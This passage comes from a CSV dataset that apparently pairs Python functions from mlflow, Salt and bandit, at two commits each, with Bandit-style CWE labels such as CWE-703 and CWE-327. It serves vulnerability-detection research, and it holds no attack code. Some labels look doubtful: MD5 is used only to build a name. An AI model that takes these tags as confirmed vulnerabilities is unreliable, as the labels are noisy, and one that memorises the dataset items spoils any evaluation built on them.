            if predict_stream_attr is not None and callable(predict_stream_attr):
                _check_func_signature(predict_stream_attr, ""predict_stream"")",,mlflow/mlflow,fe63a3e4b6fcc8c85a957977ea9f11c09ab7625c,"def __init_subclass__(cls, **kwargs) -> None:
        super().__init_subclass__(**kwargs)

        # automatically wrap the predict method with pyfunc to ensure data validation
        # NB: subclasses of PythonModel in MLflow that has customized predict method
        # should set _skip_wrapping_predict = True to skip this wrapping
        if not getattr(cls, ""_skip_wrapping_predict"", False):
            predict_attr = cls.__dict__.get(""predict"")
            if predict_attr is not None and callable(predict_attr):
                func_info = _get_func_info_if_type_hint_supported(predict_attr)
                setattr(cls, ""predict"", _wrap_predict_with_pyfunc(predict_attr, func_info))
            predict_stream_attr = cls.__dict__.get(""predict_stream"")
            if predict_stream_attr is not None and callable(predict_stream_attr):
                _check_func_signature(predict_stream_attr, ""predict_stream"")"
,UNKNOWN,UNKNOWN,tests/store/artifact/test_http_artifact_repo.py,1,"def test_download_artifacts(http_artifact_repo, tmp_path):
    # This test simulates downloading artifacts in the following structure:
    # ---------
    # - a.txt
    # - dir
    #   - b.txt
    # ---------
    def http_request(_host_creds, endpoint, _method, **kwargs):
        # Responses for list_artifacts
        params = kwargs.get(""params"")
        if params:
            if params.get(""path"") == """":
                return MockResponse(
                    {
                        ""files"": [
                            {""path"": ""a.txt"", ""is_dir"": False, ""file_size"": 1},
                            {""path"": ""dir"", ""is_dir"": True},
                        ]
                    },
                    200,
                )
            elif params.get(""path"") == ""dir"":
                return MockResponse(
                    {
                        ""files"": [
                            {""path"": ""b.txt"", ""is_dir"": False, ""file_size"": 1},
                        ]
                    },
                    200,
                )
            else:
                Exception(""Unreachable"")

        # Responses for _download_file
        if endpoint == ""/a.txt"":
            return MockStreamResponse(""data_a"", 200)
        elif endpoint == ""/dir/b.txt"":
            return MockStreamResponse(""data_b"", 200)
        else:
            raise Exception(""Unreachable"")

    with mock.patch(""mlflow.store.artifact.http_artifact_repo.http_request"", http_request):
        http_artifact_repo.download_artifacts("""", tmp_path)
        paths = [os.path.join(root, f) for root, _, files in os.walk(tmp_path) for f in files]
        assert [os.path.relpath(p, tmp_path) for p in paths] == [
            ""a.txt"",
            os.path.join(""dir"", ""b.txt""),
        ]
        assert read_file(paths[0]) == ""data_a""
        assert read_file(paths[1]) == ""data_b""",CWE-703,mlflow/mlflow,61676e51f18c97ca7e7c1cf3439ecb39962bc0e0,"def test_download_artifacts(http_artifact_repo, tmp_path):
    # This test simulates downloading artifacts in the following structure:
    # ---------
    # - a.txt
    # - dir
    #   - b.txt
    # ---------
    def http_request(_host_creds, endpoint, _method, **kwargs):
        # Responses for list_artifacts
        params = kwargs.get(""params"")
        if params:
            if params.get(""path"") == """":
                return MockResponse(
                    {
                        ""files"": [
                            {""path"": ""a.txt"", ""is_dir"": False, ""file_size"": 1},
                            {""path"": ""dir"", ""is_dir"": True},
                        ]
                    },
                    200,
                )
            elif params.get(""path"") == ""dir"":
                return MockResponse(
                    {
                        ""files"": [
                            {""path"": ""b.txt"", ""is_dir"": False, ""file_size"": 1},
                        ]
                    },
                    200,
                )
            else:
                Exception(""Unreachable"")

        # Responses for _download_file
        if endpoint == ""/a.txt"":
            return MockStreamResponse(""data_a"", 200)
        elif endpoint == ""/dir/b.txt"":
            return MockStreamResponse(""data_b"", 200)
        else:
            raise Exception(""Unreachable"")

    with mock.patch(""mlflow.store.artifact.http_artifact_repo.http_request"", http_request):
        http_artifact_repo.download_artifacts("""", tmp_path)
        paths = [os.path.join(root, f) for root, _, files in os.walk(tmp_path) for f in files]
        assert [os.path.relpath(p, tmp_path) for p in paths] == [
            ""a.txt"",
            os.path.join(""dir"", ""b.txt""),
        ]
        assert read_file(paths[0]) == ""data_a""
        assert read_file(paths[1]) == ""data_b"""
,UNKNOWN,UNKNOWN,salt/states/boto_asg.py,1,"def present(
        name,
        launch_config_name,
        availability_zones,
        min_size,
        max_size,
        launch_config=None,
        desired_capacity=None,
        load_balancers=None,
        default_cooldown=None,
        health_check_type=None,
        health_check_period=None,
        placement_group=None,
        vpc_zone_identifier=None,
        tags=None,
        termination_policies=None,
        suspended_processes=None,
        scaling_policies=None,
        scaling_policies_from_pillar='boto_asg_scaling_policies',
        scheduled_actions=None,
        scheduled_actions_from_pillar='boto_asg_scheduled_actions',
        alarms=None,
        alarms_from_pillar='boto_asg_alarms',
        region=None,
        key=None,
        keyid=None,
        profile=None,
        notification_arn=None,
        notification_arn_from_pillar='boto_asg_notification_arn',
        notification_types=None,
        notification_types_from_pillar='boto_asg_notification_types'):
    '''
    Ensure the autoscale group exists.

    name
        Name of the autoscale group.

    launch_config_name
        Name of the launch config to use for the group.  Or, if
        launch_config is specified, this will be the launch config
        name's prefix.  (see below)

    launch_config
        A dictionary of launch config attributes.  If specified, a
        launch config will be used or created, matching this set
        of attributes, and the autoscale group will be set to use
        that launch config.  The launch config name will be the
        launch_config_name followed by a hyphen followed by a hash
        of the launch_config dict contents.

    availability_zones
        List of availability zones for the group.

    min_size
        Minimum size of the group.

    max_size
        Maximum size of the group.

    desired_capacity
        The desired capacity of the group.

    load_balancers
        List of load balancers for the group. Once set this can not be
        updated (Amazon restriction).

    default_cooldown
        Number of seconds after a Scaling Activity completes before any further
        scaling activities can start.

    health_check_type
        The service you want the health status from, Amazon EC2 or Elastic Load
        Balancer (EC2 or ELB).

    health_check_period
        Length of time in seconds after a new EC2 instance comes into service
        that Auto Scaling starts checking its health.

    placement_group
        Physical location of your cluster placement group created in Amazon
        EC2. Once set this can not be updated (Amazon restriction).

    vpc_zone_identifier
        A list of the subnet identifiers of the Virtual Private Cloud.

    tags
        A list of tags. Example:
            - key: 'key'
              value: 'value'
              propagate_at_launch: true

    termination_policies
        A list of termination policies. Valid values are: “OldestInstance”,
        “NewestInstance”, “OldestLaunchConfiguration”,
        “ClosestToNextInstanceHour”, “Default”. If no value is specified, the
        “Default” value is used.

    suspended_processes
        List of processes to be suspended. see
        http://docs.aws.amazon.com/AutoScaling/latest/DeveloperGuide/US_SuspendResume.html

    scaling_policies
        List of scaling policies.  Each policy is a dict of key-values described by
        http://boto.readthedocs.org/en/latest/ref/autoscale.html#boto.ec2.autoscale.policy.ScalingPolicy

    scaling_policies_from_pillar:
        name of pillar dict that contains scaling policy settings.   Scaling policies defined for
        this specific state will override those from pillar.

    scheduled_actions:
        a dictionary of scheduled actions. Each key is the name of scheduled action and each value
        is dictionary of options. For example,
            - scheduled_actions:
                scale_up_at_10:
                    desired_capacity: 4
                    min_size: 3
                    max_size: 5
                    recurrence: ""0 9 * * 1-5""
                scale_down_at_7:
                    desired_capacity: 1
                    min_size: 1
                    max_size: 1
                    recurrence: ""0 19 * * 1-5""

    scheduled_actions_from_pillar:
        name of pillar dict that contains scheduled_actions settings. Scheduled actions
        for this specific state will override those from pillar.

    alarms:
        a dictionary of name->boto_cloudwatch_alarm sections to be associated with this ASG.
        All attributes should be specified except for dimension which will be
        automatically set to this ASG.
        See the boto_cloudwatch_alarm state for information about these attributes.
        if any alarm actions include  "":self:"" this will be replaced with the asg name.
        For example, alarm_actions reading ""['scaling_policy:self:ScaleUp']"" will
        map to the arn for this asg's scaling policy named ""ScaleUp"".
        In addition, any alarms that have only scaling_policy as actions will be ignored if
        min_size is equal to max_size for this ASG.

    alarms_from_pillar:
        name of pillar dict that contains alarm settings.   Alarms defined for this specific
        state will override those from pillar.

    region
        The region to connect to.

    key
        Secret key to be used.

    keyid
        Access key to be used.

    profile
        A dict with region, key and keyid, or a pillar key (string)
        that contains a dict with region, key and keyid.

    notification_arn
        The aws arn that notifications will be sent to

    notification_arn_from_pillar
        name of the pillar dict that contains notifcation_arn settings.  A notification_arn
        defined for this specific state will override the one from pillar.

    notification_types
        A list of event names that will trigger a notification.  The list of valid
        notification types is:
            ""autoscaling:EC2_INSTANCE_LAUNCH"",
            ""autoscaling:EC2_INSTANCE_LAUNCH_ERROR"",
            ""autoscaling:EC2_INSTANCE_TERMINATE"",
            ""autoscaling:EC2_INSTANCE_TERMINATE_ERROR"",
            ""autoscaling:TEST_NOTIFICATION""

    notification_types_from_pillar
        name of the pillar dict that contains notifcation_types settings.  Notification_types
        defined for this specific state will override those from the pillar.
    '''
    ret = {'name': name, 'result': True, 'comment': '', 'changes': {}}
    if vpc_zone_identifier:
        vpc_id = __salt__['boto_vpc.get_subnet_association'](
            vpc_zone_identifier,
            region,
            key,
            keyid,
            profile
        )
        vpc_id = vpc_id.get('vpc_id')
        log.debug('Auto Scaling Group {0} is associated with VPC ID {1}'
                  .format(name, vpc_id))
    else:
        vpc_id = None
        log.debug('Auto Scaling Group {0} has no VPC Association'
                  .format(name))
    # if launch_config is defined, manage the launch config first.
    # hash the launch_config dict to create a unique name suffix and then
    # ensure it is present
    if launch_config:
        launch_config_name = launch_config_name + '-' + hashlib.md5(str(launch_config)).hexdigest()
        args = {
            'name': launch_config_name,
            'region': region,
            'key': key,
            'keyid': keyid,
            'profile': profile
        }

        if vpc_id:
            log.debug('Auto Scaling Group {0} is a associated with a vpc')
            # locate the security groups attribute of a launch config
            sg_index = None
            for index, item in enumerate(launch_config):
                if 'security_groups' in item:
                    sg_index = index
                    break
            # if security groups exist within launch_config then convert
            # to group ids
            if sg_index:
                log.debug('security group associations found in launch config')
                _group_ids = __salt__['boto_secgroup.convert_to_group_ids'](
                    launch_config[sg_index]['security_groups'], vpc_id=vpc_id,
                    region=region, key=key, keyid=keyid, profile=profile
                )
                launch_config[sg_index]['security_groups'] = _group_ids

        for d in launch_config:
            args.update(d)
        if not __opts__['test']:
            lc_ret = __states__['boto_lc.present'](**args)
            if lc_ret['result'] is True and lc_ret['changes']:
                if 'launch_config' not in ret['changes']:
                    ret['changes']['launch_config'] = {}
                ret['changes']['launch_config'] = lc_ret['changes']

    asg = __salt__['boto_asg.get_config'](name, region, key, keyid, profile)
    scaling_policies = _determine_scaling_policies(
        scaling_policies,
        scaling_policies_from_pillar
    )
    scheduled_actions = _determine_scheduled_actions(
        scheduled_actions,
        scheduled_actions_from_pillar
    )
    if asg is None:
        ret['result'] = False
        ret['comment'] = 'Failed to check autoscale group existence.'
    elif not asg:
        if __opts__['test']:
            msg = 'Autoscale group set to be created.'
            ret['comment'] = msg
            ret['result'] = None
            return ret
        notification_arn, notification_types = _determine_notification_info(
            notification_arn,
            notification_arn_from_pillar,
            notification_types,
            notification_types_from_pillar
        )
        created = __salt__['boto_asg.create'](name, launch_config_name,
                                              availability_zones, min_size,
                                              max_size, desired_capacity,
                                              load_balancers, default_cooldown,
                                              health_check_type,
                                              health_check_period,
                                              placement_group,
                                              vpc_zone_identifier, tags,
                                              termination_policies,
                                              suspended_processes,
                                              scaling_policies, scheduled_actions,
                                              region, notification_arn,
                                              notification_types,
                                              key, keyid, profile)
        if created:
            ret['changes']['old'] = None
            asg = __salt__['boto_asg.get_config'](name, region, key, keyid,
                                                  profile)
            ret['changes']['new'] = asg
        else:
            ret['result'] = False
            ret['comment'] = 'Failed to create autoscale group'
    else:
        need_update = False
        # If any of these attributes can't be modified after creation
        # time, we should remove them from the dict.
        if scaling_policies:
            for policy in scaling_policies:
                if 'min_adjustment_step' not in policy:
                    policy['min_adjustment_step'] = None
        if scheduled_actions:
            for s_name, action in scheduled_actions.iteritems():
                if 'end_time' not in action:
                    action['end_time'] = None
        config = {
            'launch_config_name': launch_config_name,
            'availability_zones': availability_zones,
            'min_size': min_size,
            'max_size': max_size,
            'desired_capacity': desired_capacity,
            'default_cooldown': default_cooldown,
            'health_check_type': health_check_type,
            'health_check_period': health_check_period,
            'vpc_zone_identifier': vpc_zone_identifier,
            'tags': tags,
            'termination_policies': termination_policies,
            'suspended_processes': suspended_processes,
            'scaling_policies': scaling_policies,
            'scheduled_actions': scheduled_actions
        }
        if suspended_processes is None:
            config['suspended_processes'] = []
        # ensure that we delete scaling_policies if none are specified
        if scaling_policies is None:
            config['scaling_policies'] = []
        # ensure that we delete scheduled_actions if none are specified
        if scheduled_actions is None:
            config['scheduled_actions'] = {}
        # allow defaults on start_time
        for s_name, action in scheduled_actions.iteritems():
            if 'start_time' not in action:
                asg_action = asg['scheduled_actions'].get(s_name, {})
                if 'start_time' in asg_action:
                    del asg_action['start_time']
        # note: do not loop using ""key, value"" - this can modify the value of
        # the aws access key
        for asg_property, value in six.iteritems(config):
            # Only modify values being specified; introspection is difficult
            # otherwise since it's hard to track default values, which will
            # always be returned from AWS.
            if value is None:
                continue
            if asg_property in asg:
                _value = asg[asg_property]
                if not _recursive_compare(value, _value):
                    log_msg = '{0} asg_property differs from {1}'
                    log.debug(log_msg.format(value, _value))
                    need_update = True
                    break
        if need_update:
            if __opts__['test']:
                msg = 'Autoscale group set to be updated.'
                ret['comment'] = msg
                ret['result'] = None
                return ret
            # add in alarms
            notification_arn, notification_types = _determine_notification_info(
                notification_arn,
                notification_arn_from_pillar,
                notification_types,
                notification_types_from_pillar
            )
            updated, msg = __salt__['boto_asg.update'](
                name,
                launch_config_name,
                availability_zones,
                min_size,
                max_size,
                desired_capacity=desired_capacity,
                load_balancers=load_balancers,
                default_cooldown=default_cooldown,
                health_check_type=health_check_type,
                health_check_period=health_check_period,
                placement_group=placement_group,
                vpc_zone_identifier=vpc_zone_identifier,
                tags=tags,
                termination_policies=termination_policies,
                suspended_processes=suspended_processes,
                scaling_policies=scaling_policies,
                scheduled_actions=scheduled_actions,
                region=region,
                notification_arn=notification_arn,
                notification_types=notification_types,
                key=key,
                keyid=keyid,
                profile=profile
            )
            if asg['launch_config_name'] != launch_config_name:
                # delete the old launch_config_name
                deleted = __salt__['boto_asg.delete_launch_configuration'](
                    asg['launch_config_name'],
                    region=region,
                    key=key,
                    keyid=keyid,
                    profile=profile
                )
                if deleted:
                    if 'launch_config' not in ret['changes']:
                        ret['changes']['launch_config'] = {}
                    ret['changes']['launch_config']['deleted'] = asg['launch_config_name']
            if updated:
                ret['changes']['old'] = asg
                asg = __salt__['boto_asg.get_config'](name, region, key, keyid,
                                                      profile)
                ret['changes']['new'] = asg
                ret['comment'] = 'Updated autoscale group.'
            else:
                ret['result'] = False
                ret['comment'] = msg
        else:
            ret['comment'] = 'Autoscale group present.'
    # add in alarms
    _ret = _alarms_present(
        name, min_size == max_size, alarms, alarms_from_pillar, region, key,
        keyid, profile
    )
    ret['changes'] = dictupdate.update(ret['changes'], _ret['changes'])
    ret['comment'] = ' '.join([ret['comment'], _ret['comment']])
    if not _ret['result']:
        ret['result'] = _ret['result']
    return ret",CWE-327,saltstack/salt,bd53777865e18fa0529f2ba472b7716d873bb2a7,"def present(
        name,
        launch_config_name,
        availability_zones,
        min_size,
        max_size,
        launch_config=None,
        desired_capacity=None,
        load_balancers=None,
        default_cooldown=None,
        health_check_type=None,
        health_check_period=None,
        placement_group=None,
        vpc_zone_identifier=None,
        tags=None,
        termination_policies=None,
        suspended_processes=None,
        scaling_policies=None,
        scaling_policies_from_pillar='boto_asg_scaling_policies',
        scheduled_actions=None,
        scheduled_actions_from_pillar='boto_asg_scheduled_actions',
        alarms=None,
        alarms_from_pillar='boto_asg_alarms',
        region=None,
        key=None,
        keyid=None,
        profile=None,
        notification_arn=None,
        notification_arn_from_pillar='boto_asg_notification_arn',
        notification_types=None,
        notification_types_from_pillar='boto_asg_notification_types'):
    '''
    Ensure the autoscale group exists.

    name
        Name of the autoscale group.

    launch_config_name
        Name of the launch config to use for the group.  Or, if
        launch_config is specified, this will be the launch config
        name's prefix.  (see below)

    launch_config
        A dictionary of launch config attributes.  If specified, a
        launch config will be used or created, matching this set
        of attributes, and the autoscale group will be set to use
        that launch config.  The launch config name will be the
        launch_config_name followed by a hyphen followed by a hash
        of the launch_config dict contents.

    availability_zones
        List of availability zones for the group.

    min_size
        Minimum size of the group.

    max_size
        Maximum size of the group.

    desired_capacity
        The desired capacity of the group.

    load_balancers
        List of load balancers for the group. Once set this can not be
        updated (Amazon restriction).

    default_cooldown
        Number of seconds after a Scaling Activity completes before any further
        scaling activities can start.

    health_check_type
        The service you want the health status from, Amazon EC2 or Elastic Load
        Balancer (EC2 or ELB).

    health_check_period
        Length of time in seconds after a new EC2 instance comes into service
        that Auto Scaling starts checking its health.

    placement_group
        Physical location of your cluster placement group created in Amazon
        EC2. Once set this can not be updated (Amazon restriction).

    vpc_zone_identifier
        A list of the subnet identifiers of the Virtual Private Cloud.

    tags
        A list of tags. Example:
            - key: 'key'
              value: 'value'
              propagate_at_launch: true

    termination_policies
        A list of termination policies. Valid values are: “OldestInstance”,
        “NewestInstance”, “OldestLaunchConfiguration”,
        “ClosestToNextInstanceHour”, “Default”. If no value is specified, the
        “Default” value is used.

    suspended_processes
        List of processes to be suspended. see
        http://docs.aws.amazon.com/AutoScaling/latest/DeveloperGuide/US_SuspendResume.html

    scaling_policies
        List of scaling policies.  Each policy is a dict of key-values described by
        http://boto.readthedocs.org/en/latest/ref/autoscale.html#boto.ec2.autoscale.policy.ScalingPolicy

    scaling_policies_from_pillar:
        name of pillar dict that contains scaling policy settings.   Scaling policies defined for
        this specific state will override those from pillar.

    scheduled_actions:
        a dictionary of scheduled actions. Each key is the name of scheduled action and each value
        is dictionary of options. For example,
            - scheduled_actions:
                scale_up_at_10:
                    desired_capacity: 4
                    min_size: 3
                    max_size: 5
                    recurrence: ""0 9 * * 1-5""
                scale_down_at_7:
                    desired_capacity: 1
                    min_size: 1
                    max_size: 1
                    recurrence: ""0 19 * * 1-5""

    scheduled_actions_from_pillar:
        name of pillar dict that contains scheduled_actions settings. Scheduled actions
        for this specific state will override those from pillar.

    alarms:
        a dictionary of name->boto_cloudwatch_alarm sections to be associated with this ASG.
        All attributes should be specified except for dimension which will be
        automatically set to this ASG.
        See the boto_cloudwatch_alarm state for information about these attributes.
        if any alarm actions include  "":self:"" this will be replaced with the asg name.
        For example, alarm_actions reading ""['scaling_policy:self:ScaleUp']"" will
        map to the arn for this asg's scaling policy named ""ScaleUp"".
        In addition, any alarms that have only scaling_policy as actions will be ignored if
        min_size is equal to max_size for this ASG.

    alarms_from_pillar:
        name of pillar dict that contains alarm settings.   Alarms defined for this specific
        state will override those from pillar.

    region
        The region to connect to.

    key
        Secret key to be used.

    keyid
        Access key to be used.

    profile
        A dict with region, key and keyid, or a pillar key (string)
        that contains a dict with region, key and keyid.

    notification_arn
        The aws arn that notifications will be sent to

    notification_arn_from_pillar
        name of the pillar dict that contains notifcation_arn settings.  A notification_arn
        defined for this specific state will override the one from pillar.

    notification_types
        A list of event names that will trigger a notification.  The list of valid
        notification types is:
            ""autoscaling:EC2_INSTANCE_LAUNCH"",
            ""autoscaling:EC2_INSTANCE_LAUNCH_ERROR"",
            ""autoscaling:EC2_INSTANCE_TERMINATE"",
            ""autoscaling:EC2_INSTANCE_TERMINATE_ERROR"",
            ""autoscaling:TEST_NOTIFICATION""

    notification_types_from_pillar
        name of the pillar dict that contains notifcation_types settings.  Notification_types
        defined for this specific state will override those from the pillar.
    '''
    ret = {'name': name, 'result': True, 'comment': '', 'changes': {}}
    if vpc_zone_identifier:
        vpc_id = __salt__['boto_vpc.get_subnet_association'](
            vpc_zone_identifier,
            region,
            key,
            keyid,
            profile
        )
        vpc_id = vpc_id.get('vpc_id')
        log.debug('Auto Scaling Group {0} is associated with VPC ID {1}'
                  .format(name, vpc_id))
    else:
        vpc_id = None
        log.debug('Auto Scaling Group {0} has no VPC Association'
                  .format(name))
    # if launch_config is defined, manage the launch config first.
    # hash the launch_config dict to create a unique name suffix and then
    # ensure it is present
    if launch_config:
        launch_config_name = launch_config_name + '-' + hashlib.md5(str(launch_config)).hexdigest()
        args = {
            'name': launch_config_name,
            'region': region,
            'key': key,
            'keyid': keyid,
            'profile': profile
        }

        if vpc_id:
            log.debug('Auto Scaling Group {0} is a associated with a vpc')
            # locate the security groups attribute of a launch config
            sg_index = None
            for index, item in enumerate(launch_config):
                if 'security_groups' in item:
                    sg_index = index
                    break
            # if security groups exist within launch_config then convert
            # to group ids
            if sg_index:
                log.debug('security group associations found in launch config')
                _group_ids = __salt__['boto_secgroup.convert_to_group_ids'](
                    launch_config[sg_index]['security_groups'], vpc_id=vpc_id,
                    region=region, key=key, keyid=keyid, profile=profile
                )
                launch_config[sg_index]['security_groups'] = _group_ids

        for d in launch_config:
            args.update(d)
        if not __opts__['test']:
            lc_ret = __states__['boto_lc.present'](**args)
            if lc_ret['result'] is True and lc_ret['changes']:
                if 'launch_config' not in ret['changes']:
                    ret['changes']['launch_config'] = {}
                ret['changes']['launch_config'] = lc_ret['changes']

    asg = __salt__['boto_asg.get_config'](name, region, key, keyid, profile)
    scaling_policies = _determine_scaling_policies(
        scaling_policies,
        scaling_policies_from_pillar
    )
    scheduled_actions = _determine_scheduled_actions(
        scheduled_actions,
        scheduled_actions_from_pillar
    )
    if asg is None:
        ret['result'] = False
        ret['comment'] = 'Failed to check autoscale group existence.'
    elif not asg:
        if __opts__['test']:
            msg = 'Autoscale group set to be created.'
            ret['comment'] = msg
            ret['result'] = None
            return ret
        notification_arn, notification_types = _determine_notification_info(
            notification_arn,
            notification_arn_from_pillar,
            notification_types,
            notification_types_from_pillar
        )
        created = __salt__['boto_asg.create'](name, launch_config_name,
                                              availability_zones, min_size,
                                              max_size, desired_capacity,
                                              load_balancers, default_cooldown,
                                              health_check_type,
                                              health_check_period,
                                              placement_group,
                                              vpc_zone_identifier, tags,
                                              termination_policies,
                                              suspended_processes,
                                              scaling_policies, scheduled_actions,
                                              region, notification_arn,
                                              notification_types,
                                              key, keyid, profile)
        if created:
            ret['changes']['old'] = None
            asg = __salt__['boto_asg.get_config'](name, region, key, keyid,
                                                  profile)
            ret['changes']['new'] = asg
        else:
            ret['result'] = False
            ret['comment'] = 'Failed to create autoscale group'
    else:
        need_update = False
        # If any of these attributes can't be modified after creation
        # time, we should remove them from the dict.
        if scaling_policies:
            for policy in scaling_policies:
                if 'min_adjustment_step' not in policy:
                    policy['min_adjustment_step'] = None
        if scheduled_actions:
            for s_name, action in scheduled_actions.iteritems():
                if 'end_time' not in action:
                    action['end_time'] = None
        config = {
            'launch_config_name': launch_config_name,
            'availability_zones': availability_zones,
            'min_size': min_size,
            'max_size': max_size,
            'desired_capacity': desired_capacity,
            'default_cooldown': default_cooldown,
            'health_check_type': health_check_type,
            'health_check_period': health_check_period,
            'vpc_zone_identifier': vpc_zone_identifier,
            'tags': tags,
            'termination_policies': termination_policies,
            'suspended_processes': suspended_processes,
            'scaling_policies': scaling_policies,
            'scheduled_actions': scheduled_actions
        }
        if suspended_processes is None:
            config['suspended_processes'] = []
        # ensure that we delete scaling_policies if none are specified
        if scaling_policies is None:
            config['scaling_policies'] = []
        # ensure that we delete scheduled_actions if none are specified
        if scheduled_actions is None:
            config['scheduled_actions'] = {}
        # allow defaults on start_time
        for s_name, action in scheduled_actions.iteritems():
            if 'start_time' not in action:
                asg_action = asg['scheduled_actions'].get(s_name, {})
                if 'start_time' in asg_action:
                    del asg_action['start_time']
        # note: do not loop using ""key, value"" - this can modify the value of
        # the aws access key
        for asg_property, value in six.iteritems(config):
            # Only modify values being specified; introspection is difficult
            # otherwise since it's hard to track default values, which will
            # always be returned from AWS.
            if value is None:
                continue
            if asg_property in asg:
                _value = asg[asg_property]
                if not _recursive_compare(value, _value):
                    log_msg = '{0} asg_property differs from {1}'
                    log.debug(log_msg.format(value, _value))
                    need_update = True
                    break
        if need_update:
            if __opts__['test']:
                msg = 'Autoscale group set to be updated.'
                ret['comment'] = msg
                ret['result'] = None
                return ret
            # add in alarms
            notification_arn, notification_types = _determine_notification_info(
                notification_arn,
                notification_arn_from_pillar,
                notification_types,
                notification_types_from_pillar
            )
            updated, msg = __salt__['boto_asg.update'](
                name,
                launch_config_name,
                availability_zones,
                min_size,
                max_size,
                desired_capacity=desired_capacity,
                load_balancers=load_balancers,
                default_cooldown=default_cooldown,
                health_check_type=health_check_type,
                health_check_period=health_check_period,
                placement_group=placement_group,
                vpc_zone_identifier=vpc_zone_identifier,
                tags=tags,
                termination_policies=termination_policies,
                suspended_processes=suspended_processes,
                scaling_policies=scaling_policies,
                scheduled_actions=scheduled_actions,
                region=region,
                notification_arn=notification_arn,
                notification_types=notification_types,
                key=key,
                keyid=keyid,
                profile=profile
            )
            if asg['launch_config_name'] != launch_config_name:
                # delete the old launch_config_name
                deleted = __salt__['boto_asg.delete_launch_configuration'](
                    asg['launch_config_name'],
                    region=region,
                    key=key,
                    keyid=keyid,
                    profile=profile
                )
                if deleted:
                    if 'launch_config' not in ret['changes']:
                        ret['changes']['launch_config'] = {}
                    ret['changes']['launch_config']['deleted'] = asg['launch_config_name']
            if updated:
                ret['changes']['old'] = asg
                asg = __salt__['boto_asg.get_config'](name, region, key, keyid,
                                                      profile)
                ret['changes']['new'] = asg
                ret['comment'] = 'Updated autoscale group.'
            else:
                ret['result'] = False
                ret['comment'] = msg
        else:
            ret['comment'] = 'Autoscale group present.'
    # add in alarms
    _ret = _alarms_present(
        name, min_size == max_size, alarms, alarms_from_pillar, region, key,
        keyid, profile
    )
    if _ret['changes'] != {}:
        ret['result'] = _ret['result']
        ret['changes'] = dictupdate.update(ret['changes'], _ret['changes'])
    ret['comment'] = ' '.join([ret['comment'], _ret['comment']])
    return ret"
functions_for_bandit_with_cwe.csv,UNKNOWN,UNKNOWN,tests/unit/formatters/test_html.py,0,"def test_report_contents(self, get_issue_list, get_code):
        self.manager.metrics.data['_totals'] = {'loc': 1000, 'nosec': 50}

        issue_a = _get_issue_instance(severity=bandit.LOW)
        issue_a.fname = 'abc.py'
        issue_a.test = 'AAAAAAA'
        issue_a.text = 'BBBBBBB'
        issue_a.confidence = 'CCCCCCC'
        # don't need to test severity, it determines the color which we're
        # testing separately

        issue_b = _get_issue_instance(severity=bandit.MEDIUM)
        issue_c = _get_issue_instance(severity=bandit.HIGH)

        issue_x = _get_issue_instance()
        get_code.return_value = 'some code'

        issue_y = _get_issue_instance()

        get_issue_list.return_value = OrderedDict([(issue_a, [issue_x,
                                                              issue_y]),
                                                   (issue_b, [issue_x]),
                                                   (issue_c, [issue_y])])

        tmp_file = open(self.tmp_fname, 'w')
        b_html.report(
            self.manager, tmp_file, bandit.LOW, bandit.LOW)

        with open(self.tmp_fname) as f:
            soup = BeautifulSoup(f.read(), 'html.parser')

            self.assertEqual('1000', soup.find_all('span', id='loc')[0].text)
            self.assertEqual('50', soup.find_all('span', id='nosec')[0].text)

            issue1 = soup.find_all('span', id='issue-0')[0]
            issue2 = soup.find_all('span', id='issue-1')[0]
            issue3 = soup.find_all('span', id='issue-2')[0]

            # make sure the class has been applied properly
            self.assertEqual(1, len(issue1.find_all(
                'div', {'class': 'issue-sev-low'})))

            self.assertEqual(1, len(issue2.find_all(
                'div', {'class': 'issue-sev-medium'})))

            self.assertEqual(1, len(issue3.find_all(
                'div', {'class': 'issue-sev-high'})))

            # issue1 has a candidates section with 2 candidates in it
            self.assertEqual(1, len(issue1.find_all('span', id='candidates')))
            self.assertEqual(2, len(issue1.find_all('span', id='candidate')))

            # issue2 doesn't have candidates
            self.assertEqual(0, len(issue2.find_all('span', id='candidates')))
            self.assertEqual(0, len(issue2.find_all('span', id='candidate')))

            # issue1 doesn't have code issue 2 and 3 do
            self.assertEqual(0, len(issue1.find_all('span', id='code')))
            self.assertEqual(1, len(issue2.find_all('span', id='code')))
            self.assertEqual(1, len(issue3.find_all('span', id='code')))

            # issue2 code and issue1 first candidate have code
            self.assertIn('some code', issue1.find_all('span',
                                                       id='candidate')[0].text)
            self.assertIn('some code', issue2.find_all('span',
                                                       id='code')[0].text)

            # make sure correct things are being output in issues
            self.assertIn('AAAAAAA:', issue1.text)
            self.assertIn('BBBBBBB', issue1.text)
            self.assertIn('CCCCCCC', issue1.text)
            self.assertIn('abc.py', issue1.text)",UNKNOWN,PyCQA/bandit,df86344e75811759885a9bc39ac5afe9bf8dc7dd,"def test_report_contents(self, get_issue_list, get_code):
        self.manager.metrics.data['_totals'] = {'loc': 1000, 'nosec': 50}

        issue_a = _get_issue_instance(severity=bandit.LOW)
        issue_a.fname = 'abc.py'
        issue_a.test = 'AAAAAAA'
        issue_a.text = 'BBBBBBB'
        issue_a.confidence = 'CCCCCCC'
        # don't need to test severity, it determines the color which we're
        # testing separately

        issue_b = _get_issue_instance(severity=bandit.MEDIUM)
        issue_c = _get_issue_instance(severity=bandit.HIGH)

        issue_x = _get_issue_instance()
        get_code.return_value = 'some code'

        issue_y = _get_issue_instance()

        get_issue_list.return_value = OrderedDict([(issue_a, [issue_x,
                                                              issue_y]),
                                                   (issue_b, [issue_x]),
                                                   (issue_c, [issue_y])])

        tmp_file = open(self.tmp_fname, 'w')
        b_html.report(
            self.manager, tmp_file, bandit.LOW, bandit.LOW)

        with open(self.tmp_fname) as f:
            soup = BeautifulSoup(f.read(), 'html.parser')

            self.assertEqual('1000', soup.find_all('span', id='loc')[0].text)
            self.assertEqual('50', soup.find_all('span', id='nosec')[0].text)

            issue1 = soup.find_all('span', id='issue-0')[0]
            issue2 = soup.find_all('span', id='issue-1')[0]
            issue3 = soup.find_all('span', id='issue-2')[0]

            # make sure the class has been applied properly
            self.assertEqual(1, len(issue1.find_all(
                'div', {'class': 'issue-sev-low'})))

            self.assertEqual(1, len(issue2.find_all(
                'div', {'class': 'issue-sev-medium'})))

            self.assertEqual(1, len(issue3.find_all(
                'div', {'class': 'issue-sev-high'})))

            # issue1 has a candidates section with 2 candidates in it
            self.assertEqual(1, len(issue1.find_all('span', id='candidates')))
            self.assertEqual(2, len(issue1.find_all('span', id='candidate')))

            # issue2 doesn't have candidates
            self.assertEqual(0, len(issue2.find_all('span', id='candidates')))
            self.assertEqual(0, len(issue2.find_all('span', id='candidate')))

            # issue1 doesn't have code issue 2 and 3 do
